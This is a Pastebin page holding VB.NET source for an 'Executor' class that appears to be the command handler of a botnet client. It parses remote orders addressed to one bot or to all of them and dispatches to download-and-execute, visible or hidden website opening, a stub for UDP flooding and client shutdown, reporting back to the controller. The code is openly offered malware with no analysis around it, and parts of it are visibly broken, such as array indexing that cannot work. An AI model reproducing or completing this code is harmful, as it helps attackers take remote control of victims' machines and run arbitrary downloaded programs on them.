Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Public Class Executor
- '| - Command
- '> - Args
- Private Client As New Client
- Private delimiter As String() = {"|", ">"}
- Public Sub execute(ByVal command As String)
- If isCommand(command) Then
- performCommand(command)
- End If
- End Sub
- Private Function isCommand(ByVal command As String) As Boolean
- Try
- If command.Contains("|") Then
- Return True
- End If
- Catch : End Try
- End Function
- Private CommandId As String = "UNKNOWN"
- Private Sub performCommand(ByVal command As String)
- Try
- 'COMMAND_ID|TARGET|COMMAND>arg1>arg2
- Dim Args As String() = command.Split(delimiter(0))
- If Args.Count = 2 Then
- If (Args(0) IsNot CommandId) Then
- If Args(1) = Client.getRemoteId Or Args(1) = "*" Then
- Dim executeableCommand As String = Nothing
- Dim executeableCommandArgs As String() = Nothing
- If Args(2).Contains(delimiter(1)) Then
- executeableCommand = Args(2).Split(delimiter(1))(0)
- For i As Integer = 1 To Args(2).Split(delimiter(1)).Count
- executeableCommandArgs(i) = Args(2).Split(delimiter(1))(i)
- Next
- Else
- executeableCommand = Args(1)
- End If
- Select Case Integer.Parse(executeableCommand)
- Case 0 'Download&Execute
- COMMAND_DownloadAndExecute.perform(executeableCommandArgs(1))
- Client.sendCallback("Downloading..., File: " & executeableCommandArgs(1))
- Case 1 'OpenWebsiteNormal
- COMMAND_OpenWebsite.perform(executeableCommandArgs(1))
- Client.sendCallback("Opened Website., Visible: True, Url: " & executeableCommandArgs(1))
- Case 2 'OpenWebsiteHidden
- COMMAND_OpenWebsiteHidden.perform(executeableCommandArgs(1))
- Client.sendCallback("Opened Website., Visible: False, Url: " & executeableCommandArgs(1))
- Case 3 'UdpFlooder
- Case 4 'StopClient
- Client.sendCallback("Client Stopped., Sender: " & executeableCommandArgs(1))
- End Select
- CommandId = Args(0)
- End If
- End If
- End If
- Catch : End Try
- End Sub
- End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement